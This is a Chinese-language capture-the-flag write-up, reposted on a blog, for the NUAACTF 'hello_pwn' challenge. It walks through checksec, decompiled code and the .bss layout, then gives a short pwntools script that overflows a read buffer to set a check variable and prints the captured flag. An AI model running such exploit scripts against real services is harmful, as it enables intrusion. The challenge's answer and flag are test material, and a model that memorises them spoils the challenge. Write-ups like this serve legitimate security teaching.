題目來源:
NUAACTF
題目描述:
pwn!,segment fault!菜雞陷入了深思
題目場景
111.200.241.244:34217
題目附件:
4f2f44c9471d4dc2b59768779e378282
題目思路:
直接堆疊溢位,使得dword_60106C位置等于1853186401即可運行后面函式得到flag
解題程序:
拿到程式后,我們首先checksec一下

發現是64位程式,只開了NX(堆疊不可執行),跑一下程式看看

可以看到它是一個輸入,放到IDA64里面查看
int64 __fastcall main(__int64 a1, char **a2, char **a3){
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}
當dword_60106C的值為1853186401時,程式會進入一個函式中,而這個函式的作用就是顯示flag,接下來就是去改變這個變數的值,
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
雙擊查看unk_601068和dword_60106C的位置,可以知道這兩個變數都在.bss段,并且dword_60106C就在離unk_601068四個位置的地方,而且unk_601068是由我們輸入的,而且給了10個長度,可以借此覆寫掉dword_60106C,去掉中文使用exp:
from pwn import *
r=remote('220.249.52.134',40334)#遠程連接
payload='A'*4+p64(1853186401)#4個字符覆寫68
r.recvuntil("d for bof\n")#接收到字符后
r.sendline(payload)#發送payload
print(r.recv())
cyberpeace{a8c51e75d4edd892c05980ec5e30363b}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/263033.html
標籤:其他
上一篇:哈希寶-簡單上手,開始挖礦
